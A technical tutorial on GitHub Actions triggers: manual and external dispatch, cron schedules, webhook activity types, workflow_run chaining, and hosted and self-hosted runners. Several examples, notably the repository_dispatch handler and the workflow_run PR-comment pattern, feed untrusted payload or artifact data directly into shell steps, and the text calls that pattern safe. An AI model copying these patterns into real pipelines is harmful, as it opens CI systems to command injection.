When a user clicks Run workflow in the Actions tab, GitHub renders these inputs as form fields — a dropdown for environment, a text box for version, a checkbox for dry_run, and a select menu for log_level.

Accessing Input Values in Jobs

Inside your workflow, reference inputs with the github.event.inputs context or the dedicated inputs context. The inputs context is type-aware — booleans come through as actual booleans, not strings.

yaml
jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: ${{ inputs.environment }}
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ inputs.version }}

      - name: Deploy
        if: ${{ inputs.dry_run == false }}
        run: |
          echo "Deploying ${{ inputs.version }} to ${{ inputs.environment }}"
          echo "Log level: ${{ inputs.log_level }}"
          ./scripts/deploy.sh

      - name: Dry run
        if: ${{ inputs.dry_run == true }}
        run: |
          echo "[DRY RUN] Would deploy ${{ inputs.version }} to ${{ inputs.environment }}"
inputs vs github.event.inputs

Prefer inputs.dry_run over github.event.inputs.dry_run. The inputs context preserves types — booleans are true/false, not the strings "true"/"false". The older github.event.inputs context returns everything as strings, which leads to subtle bugs like if: github.event.inputs.dry_run == false always being true (because the string "false" is truthy).

Triggering via CLI and REST API

The GitHub UI is convenient, but automation demands programmatic triggers. You can fire workflow_dispatch from the gh CLI or a direct REST API call.

bash
# Trigger with all inputs specified
gh workflow run "Deploy Application" \
  --ref main \
  -f environment=staging \
  -f version=v1.4.2 \
  -f dry_run=true \
  -f log_level=debug

# Check the status of the triggered run
gh run list --workflow="Deploy Application" --limit 1
bash
curl -X POST \
  -H "Accept: application/vnd.github+json" \
  -H "Authorization: Bearer $GITHUB_TOKEN" \
  "https://api.github.com/repos/OWNER/REPO/actions/workflows/deploy.yml/dispatches" \
  -d '{
    "ref": "main",
    "inputs": {
      "environment": "staging",
      "version": "v1.4.2",
      "dry_run": "true",
      "log_level": "debug"
    }
  }'

repository_dispatch — External Event Triggers

While workflow_dispatch is designed for human-initiated or same-repo triggers, repository_dispatch exists for external systems. A backend service, a Slack bot, a different CI pipeline — anything that can make an HTTP POST can trigger a workflow. You define custom event types and pass arbitrary JSON data through a client_payload.

This decoupling is what makes repository_dispatch valuable: the caller doesn't need to know which workflows exist or what inputs they expect. It just fires an event, and any workflow listening for that event type picks it up.

Defining a repository_dispatch Workflow

yaml
name: Handle External Event

on:
  repository_dispatch:
    types:
      - deploy-request
      - run-integration-tests

jobs:
  handle-deploy:
    if: github.event.action == 'deploy-request'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Extract payload
        run: |
          echo "Service: ${{ github.event.client_payload.service }}"
          echo "Image:   ${{ github.event.client_payload.image_tag }}"
          echo "Author:  ${{ github.event.client_payload.triggered_by }}"

      - name: Deploy service
        run: |
          ./scripts/deploy.sh \
            --service "${{ github.event.client_payload.service }}" \
            --tag "${{ github.event.client_payload.image_tag }}"

  handle-tests:
    if: github.event.action == 'run-integration-tests'
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.client_payload.sha }}

      - name: Run tests for component
        run: |
          npm test -- --suite "${{ github.event.client_payload.test_suite }}"

The types filter is optional but strongly recommended. Without it, the workflow triggers on every repository_dispatch event in the repo. With it, you get clean separation: different event types route to different workflows or jobs.

Sending a repository_dispatch Event

The caller POSTs to the repository's dispatches endpoint with an event_type string and an optional client_payload object. The payload can be any valid JSON up to 10 nested levels.

bash
curl -X POST \
  -H "Accept: application/vnd.github+json" \
  -H "Authorization: Bearer $GITHUB_TOKEN" \
  "https://api.github.com/repos/OWNER/REPO/dispatches" \
  -d '{
    "event_type": "deploy-request",
    "client_payload": {
      "service": "payment-api",
      "image_tag": "sha-a1b2c3d",
      "triggered_by": "build-pipeline",
      "rollback": false
    }
  }'
bash
gh api "repos/OWNER/REPO/dispatches" \
  -f event_type="deploy-request" \
  -f 'client_payload={"service":"payment-api","image_tag":"sha-a1b2c3d","triggered_by":"build-pipeline","rollback":false}'
repository_dispatch always runs on the default branch

Unlike workflow_dispatch where you specify a ref, repository_dispatch always triggers the workflow file from the repository's default branch (usually main). If you need to check out a specific commit, pass the SHA in client_payload and use it in actions/checkout's ref parameter.

How repository_dispatch Flows Through GitHub

The sequence below shows the full lifecycle from an external API call through to workflow execution and payload access.

sequenceDiagram
    participant Caller as External System / API
    participant GH as GitHub API
    participant Runner as Actions Runner
    participant WF as Workflow Job

    Caller->>GH: POST /repos/OWNER/REPO/dispatches
    Note right of Caller: { event_type, client_payload }
    GH->>GH: Validate token & permissions
    GH-->>Caller: 204 No Content
    GH->>Runner: Match event_type to
repository_dispatch workflows Runner->>WF: Start job on default branch WF->>WF: Read github.event.action
(event_type) WF->>WF: Read github.event.client_payload
(arbitrary JSON data) WF-->>Runner: Job complete

Real-World Use Cases for repository_dispatch

The flexibility of a custom event type plus free-form JSON payload opens up patterns that aren't possible with other triggers.

Use CaseEvent TypePayload Example
Cross-repo deploy after a Docker image build image-built { "image": "ghcr.io/org/app:v2.1", "sha": "a1b2c3d" }
Slack bot triggers a database migration run-migration { "migration": "add_users_index", "env": "staging" }
Webhook from a CMS triggers a static site rebuild content-updated { "content_id": "blog/new-post", "author": "jane" }
Upstream repo notifies downstream repos to re-test dependency-updated { "package": "@org/core", "version": "3.0.0" }

workflow_dispatch vs repository_dispatch — When to Use Which

Both triggers let you kick off workflows on demand, but they serve different audiences and have different trade-offs. Use this comparison to pick the right one.

Aspectworkflow_dispatchrepository_dispatch
Primary audienceHumans (GitHub UI) or same-repo automationExternal systems, cross-repo automation
Input mechanismTyped inputs with UI form renderingFree-form JSON via client_payload
Branch targetingCaller specifies a ref (branch/tag)Always default branch
Input validationBuilt-in (type, required, choice options)None — you validate in workflow steps
Authenticationrepo scope or actions:writerepo scope or contents:write
Multiple event typesNo — one workflow, one dispatchYes — filter with types array
Combine both on the same workflow

You can list workflow_dispatch and repository_dispatch on the same workflow. Use workflow_dispatch inputs for manual "break glass" runs from the UI, and repository_dispatch for automated triggers from external pipelines. Normalize the inputs early in the workflow so downstream jobs don't care which trigger fired.

Scheduled Triggers, Webhook Events, and Activity Types

Beyond reacting to code changes, GitHub Actions can run on a timer or respond to virtually any event that occurs in your repository. Scheduled triggers let you automate recurring tasks — nightly builds, periodic dependency audits, stale issue cleanup — while webhook events give you hooks into the broader GitHub ecosystem: issues, releases, deployments, labels, and more.

The schedule Trigger and POSIX Cron Syntax

The schedule trigger uses standard POSIX cron expressions to define when a workflow runs. Each cron string is made up of five space-separated fields. GitHub evaluates these in UTC, so you need to account for your timezone offset when setting times.

FieldPositionAllowed ValuesSpecial Characters
Minute1st0–59* , - /
Hour2nd0–23* , - /
Day of month3rd1–31* , - /
Month4th1–12* , - /
Day of week5th0–6 (Sun=0)* , - /

The * wildcard means "every," , separates discrete values, - defines ranges, and / sets step intervals (e.g., */15 means "every 15 units"). Let's look at some practical examples.

Example: Nightly Build at 2:30 AM UTC

A common pattern is running a full test suite or build every night when no one is actively pushing code. This catches flaky tests and integration drift early.

yaml
on:
  schedule:
    # Runs at 2:30 AM UTC every day
    - cron: '30 2 * * *'

jobs:
  nightly-build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci
      - run: npm run build
      - run: npm test

Example: Weekly Dependency Update on Mondays

Running dependency checks once a week keeps your project current without overwhelming your team with daily noise. Monday morning (UTC) is a popular choice so updates are ready for the work week.

yaml
on:
  schedule:
    # Every Monday at 9:00 AM UTC
    - cron: '0 9 * * 1'

jobs:
  dependency-audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm audit
      - run: npm outdated || true

Example: Multiple Schedules in One Workflow

You can define more than one cron expression under schedule. The workflow triggers whenever any of the schedules match. This is useful when different cadences serve different purposes within the same workflow.

yaml
on:
  schedule:
    - cron: '30 2 * * *'   # Nightly at 2:30 AM UTC
    - cron: '0 12 * * 5'   # Fridays at noon UTC
Cron Limitations to Know

Minimum interval is 5 minutes. GitHub ignores cron expressions that resolve to shorter intervals. In practice, even 5-minute schedules are discouraged — they consume runner minutes fast.

Delays happen under high load. During peak periods on GitHub-hosted runners, scheduled workflows can be delayed by minutes or even hours. Don't rely on exact timing for mission-critical tasks.

Scheduled workflows run only on the default branch. The cron trigger always uses the workflow file from the default branch (usually main or master). Changes to the schedule on a feature branch have no effect until merged.

Inactive repos lose schedules. If no repository activity occurs for 60 days, scheduled workflows are automatically disabled. GitHub sends a notification, and you must manually re-enable them.

Webhook Events Beyond Push and Pull Request

GitHub Actions can respond to over 35 different webhook events. While push and pull_request get the most attention, the real power of Actions lies in automating your entire project lifecycle. Here are some of the most useful webhook triggers and what they unlock.

EventFires WhenCommon Use Case
issuesAn issue is opened, edited, closed, labeled, etc.Auto-triage, assign reviewers, notify Slack
issue_commentA comment is created on an issue or PRChatOps commands (e.g., /deploy)
releaseA release is published, created, or editedBuild & publish artifacts, update docs
deployment_statusA deployment status changesPost-deploy smoke tests, notifications
labelA label is created, edited, or deletedEnforce label naming conventions
workflow_dispatchManual trigger via UI or APIOn-demand deploys, ad-hoc tasks
repository_dispatchExternal API sends a custom eventCross-repo orchestration
discussionA GitHub Discussion is created or answeredAuto-label discussions, notify teams

Using these events, you can build workflows that manage your project far beyond CI/CD. For instance, automatically labeling new issues based on their content, or triggering a deployment when a GitHub Release is published.

Example: Auto-Respond to New Issues

This workflow triggers when an issue is opened and posts a welcome comment. It's a simple but effective way to acknowledge contributors and set expectations for response time.

yaml
on:
  issues:
    types: [opened]

jobs:
  welcome:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/github-script@v7
        with:
          script: |
            github.rest.issues.createComment({
              owner: context.repo.owner,
              repo: context.repo.repo,
              issue_number: context.issue.number,
              body: 'Thanks for opening this issue! We typically respond within 48 hours.'
            })

Example: Publish on Release

Instead of manually publishing packages, you can wire the release event to automatically build and push artifacts when a new version is published on GitHub.

yaml
on:
  release:
    types: [published]

jobs:
  publish:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
          registry-url: 'https://registry.npmjs.org'
      - run: npm ci && npm publish
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

Activity Types: Precision Filtering for Webhook Events

Most webhook events have multiple activity types — sub-events that describe what specifically happened. By default, if you list an event without specifying types, GitHub triggers the workflow on only its default activity types (which varies per event). The types keyword gives you precise control over which activities actually start a run.

This matters because a single event like pull_request covers over a dozen activities: opened, synchronize, closed, reopened, labeled, review_requested, and more. Without filtering, you might run expensive CI on events that don't need it — like adding a label.

yaml
on:
  # Only run CI when a PR is opened or new commits are pushed to it
  pull_request:
    types: [opened, synchronize, reopened]

  # React to specific issue activities
  issues:
    types: [opened, labeled]

  # Only care about published releases, not drafts or edits
  release:
    types: [published]

  # Respond to new comments, not edits or deletions
  issue_comment:
    types: [created]
Default Activity Types Vary

Not all events default to all their activity types. For example, pull_request defaults to opened, synchronize, and reopened — but not closed or labeled. The issues event defaults only to opened, edited, and deleted. Always check the GitHub docs for the defaults if you're omitting the types filter.

Combining Activity Types with Conditional Logic

You can pair activity type filtering with if conditions on individual jobs for even finer control. This lets a single workflow handle multiple activities while routing them to different jobs based on context.

yaml
on:
  issues:
    types: [opened, closed, labeled]

jobs:
  welcome-new-issue:
    if: github.event.action == 'opened'
    runs-on: ubuntu-latest
    steps:
      - run: echo "New issue opened — sending welcome message"

  track-closed:
    if: github.event.action == 'closed'
    runs-on: ubuntu-latest
    steps:
      - run: echo "Issue closed — updating metrics dashboard"

  handle-label:
    if: github.event.action == 'labeled' && github.event.label.name == 'bug'
    runs-on: ubuntu-latest
    steps:
      - run: echo "Bug label added — notifying on-call team"
Tip

Use crontab.guru to validate and visualize your cron expressions before committing them. It translates cryptic strings like 0 */6 * * 1-5 into plain English ("every 6 hours, Monday through Friday") so you can verify the schedule is what you actually intended.

Workflow Chaining with workflow_run

Some CI/CD tasks need to run after another workflow finishes — but with elevated privileges the first workflow shouldn't have. The workflow_run event solves this by letting you trigger a workflow in response to the completion (or request) of another workflow, while running in the context of the default branch with full access to repository secrets.

This is the mechanism GitHub designed specifically for the "untrusted PR → privileged follow-up" pattern. The triggered workflow runs on main's code, not the fork's code, so it can safely use secrets to deploy previews, post comments, or publish artifacts.

sequenceDiagram
    participant Dev as Developer
    participant GH as GitHub
    participant CI as CI Workflow
(pull_request) participant Deploy as Deploy Preview Workflow
(workflow_run) Dev->>GH: Opens Pull Request GH->>CI: Triggers CI Workflow
(no secrets, PR merge ref) CI->>CI: Run tests, build, lint CI->>GH: Upload artifacts
(build output, coverage) CI-->>GH: Workflow completes (success) GH->>Deploy: Triggers workflow_run event
(runs on default branch, has secrets) Deploy->>GH: Download CI artifacts Deploy->>Deploy: Deploy preview & post PR comment Deploy->>Dev: Comment with preview URL

Basic Configuration

A workflow_run trigger watches one or more named workflows and fires when they reach a specified activity type. The name you reference must exactly match the name: field in the upstream workflow file.

yaml
# .github/workflows/deploy-preview.yml
name: Deploy Preview

on:
  workflow_run:
    workflows: ["CI"]          # Must match the 'name:' of the upstream workflow
    types: [completed]         # Also supports: requested
    branches: [main, develop]  # Optional: only trigger for runs on these branches

Activity Types

TypeWhen it firesUse case
completedAfter the upstream workflow finishes (success or failure)Post-processing, deployment, notifications
requestedWhen the upstream workflow is first queuedSetting up environments, sending "build started" status
completed doesn't mean succeeded

The completed type fires regardless of whether the upstream workflow passed or failed. You must check github.event.workflow_run.conclusion yourself to gate on success. Skipping this check is a common source of broken deployments.

Checking the Triggering Workflow's Conclusion

The github.event.workflow_run object gives you full metadata about the run that triggered this workflow — its conclusion, head branch, head SHA, pull requests, and more. Always gate your jobs on the conclusion to avoid deploying broken builds.

yaml
jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - name: Print triggering workflow info
        run: |
          echo "Triggered by: ${{ github.event.workflow_run.name }}"
          echo "Branch: ${{ github.event.workflow_run.head_branch }}"
          echo "Commit: ${{ github.event.workflow_run.head_sha }}"
          echo "Conclusion: ${{ github.event.workflow_run.conclusion }}"
          echo "URL: ${{ github.event.workflow_run.html_url }}"

Key fields available on github.event.workflow_run:

FieldDescription
conclusionsuccess, failure, cancelled, skipped, or timed_out
head_branchBranch that the triggering workflow ran against
head_shaThe commit SHA of the triggering run
pull_requestsArray of associated PR objects (may be empty for forks)
idThe run ID — needed for downloading artifacts via the API
eventThe event that triggered the upstream workflow (e.g., pull_request)

Downloading Artifacts from the Triggering Workflow

The most powerful pattern with workflow_run is passing data between workflows through artifacts. The upstream CI workflow uploads build output or test results, and the downstream workflow downloads them using the GitHub REST API. You can't use the normal actions/download-artifact action across workflows — you need the API or the dedicated dawidd6/action-download-artifact action.

yaml
# Upstream: CI workflow uploads artifacts
# .github/workflows/ci.yml
name: CI
on: [pull_request]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v4
        with:
          name: build-output
          path: dist/
yaml
# Downstream: Deploy Preview downloads artifacts via API
# .github/workflows/deploy-preview.yml
name: Deploy Preview

on:
  workflow_run:
    workflows: ["CI"]
    types: [completed]

jobs:
  deploy:
    if: github.event.workflow_run.conclusion == 'success'
    runs-on: ubuntu-latest
    steps:
      - name: Download build artifact
        uses: actions/github-script@v7
        with:
          script: |
            const artifacts = await github.rest.actions.listWorkflowRunArtifacts({
              owner: context.repo.owner,
              repo: context.repo.repo,
              run_id: context.payload.workflow_run.id,
            });
            const build = artifacts.data.artifacts.find(a => a.name === 'build-output');
            const download = await github.rest.actions.downloadArtifact({
              owner: context.repo.owner,
              repo: context.repo.repo,
              artifact_id: build.id,
              archive_format: 'zip',
            });
            const fs = require('fs');
            fs.writeFileSync('build-output.zip', Buffer.from(download.data));

      - name: Unzip and deploy
        run: |
          unzip build-output.zip -d dist/
          # Deploy to preview environment using secrets
          echo "Deploying to preview..."

Real-World Pattern: Posting PR Comments from a Privileged Workflow

Workflows triggered by pull_request from forks don't have write access to the repository or access to secrets. This means they can't post PR comments with test coverage, deployment URLs, or check results. The workflow_run pattern solves this cleanly: the CI workflow saves the PR number and comment body as an artifact, and the privileged downstream workflow reads them and posts the comment.

yaml
# In CI workflow (no secrets) — save PR number for later
- name: Save PR number
  run: echo "${{ github.event.number }}" > pr-number.txt

- uses: actions/upload-artifact@v4
  with:
    name: pr-metadata
    path: pr-number.txt
yaml
# In workflow_run workflow (has secrets & write access)
- name: Download PR metadata
  uses: actions/github-script@v7
  with:
    script: |
      const artifacts = await github.rest.actions.listWorkflowRunArtifacts({
        owner: context.repo.owner,
        repo: context.repo.repo,
        run_id: context.payload.workflow_run.id,
      });
      const meta = artifacts.data.artifacts.find(a => a.name === 'pr-metadata');
      const download = await github.rest.actions.downloadArtifact({
        owner: context.repo.owner,
        repo: context.repo.repo,
        artifact_id: meta.id,
        archive_format: 'zip',
      });
      const fs = require('fs');
      fs.writeFileSync('pr-metadata.zip', Buffer.from(download.data));

- name: Extract and comment
  run: |
    unzip pr-metadata.zip
    PR_NUMBER=$(cat pr-number.txt)
    gh pr comment "$PR_NUMBER" \
      --body "✅ Build succeeded! [View logs](${{ github.event.workflow_run.html_url }})"
  env:
    GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
Why save PR number as an artifact?

The github.event.workflow_run.pull_requests array is often empty for pull requests from forks. This is a known limitation. Persisting the PR number as an artifact in the upstream workflow is the reliable workaround.

Chaining Multiple Workflows

You can watch multiple upstream workflows in a single trigger, or create deeper chains where Workflow A triggers B, and B triggers C. The workflows key accepts an array, so a single downstream workflow can react to several upstream pipelines.

yaml
# React to multiple upstream workflows
on:
  workflow_run:
    workflows: ["CI", "Security Scan", "Lint"]
    types: [completed]

jobs:
  notify:
    runs-on: ubuntu-latest
    steps:
      - name: Route based on triggering workflow
        run: |
          echo "Triggered by: ${{ github.event.workflow_run.name }}"
          if [[ "${{ github.event.workflow_run.name }}" == "CI" ]]; then
            echo "Handling CI completion..."
          elif [[ "${{ github.event.workflow_run.name }}" == "Security Scan" ]]; then
            echo "Handling security scan results..."
          fi
Limit chain depth to 2-3 levels

GitHub allows up to three levels of workflow_run chaining. Beyond that, subsequent workflows won't trigger. If you need deeper pipelines, consider using workflow_dispatch with the GitHub API to trigger the next step explicitly.

Security Model: Why This Matters

The security boundary is the core reason workflow_run exists. Understanding it prevents both security vulnerabilities and confusing debugging sessions.

Propertypull_request (fork PR)workflow_run (downstream)
Code checked outFork's PR branch (untrusted)Default branch (trusted)
Secrets access❌ None✅ Full access
GITHUB_TOKEN permissionsRead-onlyRead-write
Can post PR comments❌ No✅ Yes
Can deploy❌ No✅ Yes

Because the workflow_run workflow checks out your default branch code, an attacker can't inject malicious steps via a pull request. The trade-off is that you must explicitly download and handle any data from the upstream run — nothing is automatically shared between the two workflows.

GitHub-Hosted Runners: Images, Specs, and Larger Runners

Every time a GitHub Actions workflow fires, it provisions a fresh virtual machine — a runner — that executes your jobs and is destroyed afterward. GitHub maintains a fleet of these runners so you don't have to manage infrastructure. Understanding what's inside each runner, and what upgraded options exist, helps you pick the right machine for each job.

Standard Runner Labels

You select a runner with the runs-on key in your workflow. GitHub provides both latest-alias labels that roll forward automatically and pinned-version labels for reproducibility.

LabelOSNotes
ubuntu-latestUbuntu 24.04Alias rolls forward — currently points to 24.04
ubuntu-24.04Ubuntu 24.04Pinned; use for deterministic builds
ubuntu-22.04Ubuntu 22.04Still supported; will eventually be deprecated
windows-latestWindows Server 2022Alias rolls forward
windows-2022Windows Server 2022Pinned version
windows-2019Windows Server 2019Older; still available
macos-latestmacOS 14 (Sonoma)Alias rolls forward — runs on Apple Silicon (M1)
macos-14macOS 14 (Sonoma)ARM64 (Apple Silicon)
macos-13macOS 13 (Ventura)Intel-based (x86_64)
Why pinning matters

When ubuntu-latest rolls from 22.04 to 24.04, your workflow could break if it depends on a specific library version or system package. For production CI, pin the version (e.g., ubuntu-24.04) and upgrade on your own schedule.

Here's the simplest possible usage — just set runs-on and go:

yaml
jobs:
  build:
    runs-on: ubuntu-24.04   # pinned version
    steps:
      - uses: actions/checkout@v4
      - run: echo "Running on $(uname -a)"

Hardware Specs

Not all runners are created equal. The hardware you get depends on the operating system. macOS runners on Apple Silicon are notably more powerful than the standard Linux machines, which matters for build-heavy workloads.

RunnerCPU CoresRAMStorage (SSD)Architecture
Ubuntu (standard)416 GB14 GBx86_64
Windows (standard)416 GB14 GBx86_64
macOS (Intel — macos-13)414 GB14 GBx86_64
macOS (Apple Silicon — macos-14+)3 (M1)7 GB14 GBARM64

Standard Linux and Windows runners share the same spec tier. The macOS Apple Silicon runners have fewer cores and less RAM but benefit from the M1 chip's single-threaded performance and unified memory architecture. Keep this in mind for memory-hungry test suites.

Pre-Installed Software

GitHub-hosted runner images ship with a broad set of languages, runtimes, and tools so most workflows don't need lengthy setup steps. The Ubuntu image alone includes hundreds of packages. Here's a sampling of what comes pre-installed on the Ubuntu runner:

  • Languages & runtimes: Node.js, Python, Ruby, Java (multiple versions via toolcache), Go, .NET SDK, Rust, PHP
  • Package managers: npm, yarn, pip, gem, Maven, Gradle, Composer, cargo
  • Containers & VMs: Docker, Docker Compose, Podman, Buildah
  • Browsers: Google Chrome, Chromium, Firefox, Microsoft Edge (for E2E testing)
  • CLI tools: git, curl, wget, jq, gh (GitHub CLI), az (Azure CLI), aws (AWS CLI)
  • Databases: PostgreSQL, MySQL (client libraries; services run via containers)
  • Build tools: CMake, GCC, Clang, Make

Windows runners additionally include Visual Studio Build Tools, .NET Framework, and PowerShell 7. macOS runners include Xcode (multiple versions), CocoaPods, and Homebrew.

How to check what's installed

Every runner image publishes its full software manifest in the actions/runner-images repository. You can also inspect the current runner at runtime:

yaml
- name: Inspect runner environment
  run: |
    echo "=== OS ==="
    cat /etc/os-release
    echo "=== CPU ==="
    nproc
    echo "=== Memory ==="
    free -h
    echo "=== Disk ==="
    df -h /
    echo "=== Docker ==="
    docker --version
    echo "=== Node ==="
    node --version
    echo "=== Python ==="
    python3 --version

Runner Image Updates

GitHub updates runner images on a weekly cadence. Each update rolls in OS-level security patches, tool version bumps, and new pre-installed software. These updates happen automatically — you don't opt in or schedule them.

This means the exact versions of pre-installed tools can shift between workflow runs. If your build depends on a specific version of Node.js or Python, don't rely on whatever happens to be on the image. Use a setup action instead:

yaml
- uses: actions/setup-node@v4
  with:
    node-version: '20'   # explicit — won't drift with image updates

- uses: actions/setup-python@v5
  with:
    python-version: '3.12'

Larger Runners

Standard runners are fine for linting, testing small projects, and simple deployments. But if you're compiling a monorepo, running a massive test suite in parallel, or training a model, you'll hit limits fast. Larger runners (available on GitHub Team and Enterprise plans) let you scale up the hardware.

Available configurations

Runner TypeCPU CoresRAMStorageOS Options
4-core416 GB150 GBUbuntu, Windows
8-core832 GB300 GBUbuntu, Windows
16-core1664 GB600 GBUbuntu, Windows
32-core32128 GB840 GBUbuntu, Windows
64-core64256 GB2,040 GBUbuntu, Windows
GPU (Linux)428 GB176 GBUbuntu (with NVIDIA T4 GPU)
ARM (Linux)2–648–256 GBVariesUbuntu (ARM64)

GPU runners come equipped with an NVIDIA T4 GPU and pre-installed CUDA drivers, making them suitable for ML inference testing and GPU-accelerated builds. ARM runners use Arm-based processors and are ideal for building and testing ARM-native applications without emulation overhead.

Setting up a larger runner

Larger runners aren't just labels you type — you create them in your organization or repository settings, assign a custom label, and then reference that label in runs-on. Here's the workflow side:

yaml
jobs:
  heavy-build:
    # References the custom label you assigned when creating
    # the larger runner in Settings > Actions > Runners
    runs-on: my-org-16core-ubuntu
    steps:
      - uses: actions/checkout@v4
      - name: Build monorepo
        run: make build-all -j16   # leverage all 16 cores
Cost-saving strategy

Don't use larger runners for every job. Split your workflow: run linting and unit tests on standard runners, and reserve the larger runner only for the compilation or integration-test job that actually needs the horsepower. Larger runners are billed at a per-minute premium — a 64-core Linux runner costs 32× more per minute than a standard runner.

Runner Groups and Static IPs

Larger runners can be organized into runner groups for access control — you can restrict which repositories or workflows are allowed to use expensive machines. They also support static IP addresses via Azure networking, which is critical if your CI needs to reach a firewall-protected staging server or database.

To enable static IPs, you configure the larger runner with Azure private networking in your organization settings. Every job on that runner then egresses from a predictable IP range that you can allowlist in your firewall rules.

Larger runners require a paid plan

Larger runners, GPU runners, and ARM runners are only available on GitHub Team and GitHub Enterprise Cloud plans. Free and Pro personal accounts are limited to the standard runner specs. Static IP support additionally requires Azure private networking setup.

Choosing the Right Runner

With this many options, here's a practical decision framework:

  • Most workflows: ubuntu-latest (or a pinned version) covers 90% of use cases — it's the cheapest and fastest to provision.
  • Windows-specific builds: Use windows-latest only when you need MSVC, .NET Framework, or Windows-specific testing. It costs 2× the per-minute rate of Linux.
  • iOS/macOS builds: macos-14 (Apple Silicon) for Swift/Xcode projects. macOS runners cost 10× the Linux rate, so keep macOS jobs lean.
  • Heavy compilation: An 8-core or 16-core larger runner often pays for itself by cutting build time by 4–8×.
  • Cross-platform testing: Use a matrix strategy across multiple runners to test on all target platforms in parallel.
yaml
# Cross-platform matrix — test on all three OS families
jobs:
  test:
    strategy:
      matrix:
        os: [ubuntu-24.04, windows-2022, macos-14]
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: '20'
      - run: npm ci
      - run: npm test

Self-Hosted Runners: Setup, Labels, Groups, and Scaling

GitHub-hosted runners are convenient — Ubuntu, Windows, and macOS machines ready to go with zero configuration. But they have hard limits: you can't access resources behind a corporate firewall, you can't attach a GPU, and at high volume the per-minute billing adds up fast. Self-hosted runners solve all of these problems by letting you run the GitHub Actions agent on machines you control.

When Self-Hosted Runners Make Sense

Self-hosted runners aren't always the right choice. They introduce operational overhead — you're responsible for patching, monitoring, and securing these machines. Here are the scenarios where the trade-off pays for itself:

ScenarioWhy Self-Hosted WinsExample
Private network accessRunner sits inside the VPC/VNET, no need for VPN tunnels or IP allowlistsDeploying to an internal Kubernetes cluster or querying a private database during integration tests
Specialized hardwareGitHub-hosted runners don't offer GPUs, ARM, or high-memory machinesTraining ML models, building ARM Docker images natively, running memory-intensive Gradle builds
Cost optimization at scaleAt ~200+ runner-hours/month, owning compute is cheaper than per-minute billingA monorepo with 50+ developers triggering hundreds of CI runs daily
Compliance & data residencyFull control over where code is cloned, built, and cachedRegulated industries (finance, healthcare) where source code cannot leave a specific region
Note

Self-hosted runners are available for public repositories, but GitHub strongly discourages it. A fork can submit a pull request that executes arbitrary code on your machine. Only use self-hosted runners with private repositories unless you have additional safeguards in place.

Architecture Overview

The self-hosted runner application is a lightweight agent that polls GitHub for jobs via long-polling over HTTPS. It doesn't require inbound ports — the runner initiates all connections outward. When a workflow targets a self-hosted runner via its labels, GitHub routes the job through the appropriate runner group, which acts as an access-control boundary at the organization level.

flowchart LR
    A["GitHub.com
(Workflow Job)"] -->|"routes via labels"| B["Runner Group
(Org-level ACL)"]
    B -->|"dispatches to
matching runner"| C["Self-Hosted Runner
(labeled: linux, gpu)"]
    C -->|"clones repo &
executes steps"| D["Ephemeral
Job Environment"]
    D -->|"reports status
& logs"| A
    

Setting Up a Self-Hosted Runner

Registering a runner involves downloading the runner application binary, authenticating it against your repository or organization, and optionally configuring it as a persistent system service. The steps below walk through a Linux setup — macOS and Windows follow the same pattern with platform-specific commands.

  1. Download and extract the runner application

    Navigate to your repository's Settings → Actions → Runners → New self-hosted runner. GitHub generates a time-limited token in the setup instructions. Download and extract the tarball:

    bash
    mkdir actions-runner && cd actions-runner
    curl -o actions-runner-linux-x64.tar.gz -L \
      https://github.com/actions/runner/releases/download/v2.321.0/actions-runner-linux-x64-2.321.0.tar.gz
    tar xzf actions-runner-linux-x64.tar.gz
  2. Configure the runner

    Run the configuration script with your repository URL and the registration token. The --labels flag lets you add custom labels beyond the defaults (self-hosted, Linux, X64):

    bash
    ./config.sh \
      --url https://github.com/your-org/your-repo \
      --token ABCDEF123456 \
      --name "build-runner-01" \
      --labels gpu,linux-large \
      --work _work
  3. Install and start as a system service

    Running interactively with ./run.sh is fine for testing, but production runners should be installed as a systemd service so they survive reboots and auto-restart on failure:

    bash
    sudo ./svc.sh install
    sudo ./svc.sh start
    sudo ./svc.sh status
  4. Target the runner in a workflow

    Use runs-on with your custom labels. GitHub matches against runners that have all specified labels:

    yaml
    jobs:
      train-model:
        runs-on: [self-hosted, linux, gpu]
        steps:
          - uses: actions/checkout@v4
          - run: nvidia-smi
          - run: python train.py

Labels: Routing Jobs to the Right Machine

Every self-hosted runner automatically gets three default labels: self-hosted, the OS name (e.g., Linux), and the architecture (e.g., X64). You can add custom labels during registration with --labels or later via the GitHub UI. Labels are the sole mechanism for directing jobs to specific runners.

When you specify multiple labels in runs-on, GitHub treats them as an AND condition — the runner must have every label listed. This lets you build a flexible tagging taxonomy:

yaml
# Target a high-memory ARM runner in the staging environment
jobs:
  integration-tests:
    runs-on: [self-hosted, linux, arm64, staging, high-memory]

# Target any available Linux self-hosted runner
jobs:
  lint:
    runs-on: [self-hosted, linux]

A practical labeling strategy groups labels into categories: OS (linux, windows, macos), architecture (x64, arm64), capability (gpu, high-memory, docker), and environment (staging, production). Keep labels lowercase and consistent across your organization.

Runner Groups: Organization-Level Access Control

Runner groups are an organization-level feature (available on GitHub Team and Enterprise plans) that control which repositories can use which runners. Think of them as a permission boundary — you can have a "production-deploy" runner group that only your infrastructure repositories can access, and a "general-ci" group available to all repositories.

You manage runner groups in Organization Settings → Actions → Runner groups. Each group can be scoped to specific repositories or made available to all repositories in the org. When you register a runner, you assign it to a group.

bash
# Register a runner into the "production-deploy" group
./config.sh \
  --url https://github.com/your-org \
  --token ABCDEF123456 \
  --runnergroup "production-deploy" \
  --labels deploy,linux \
  --name "deploy-runner-01"

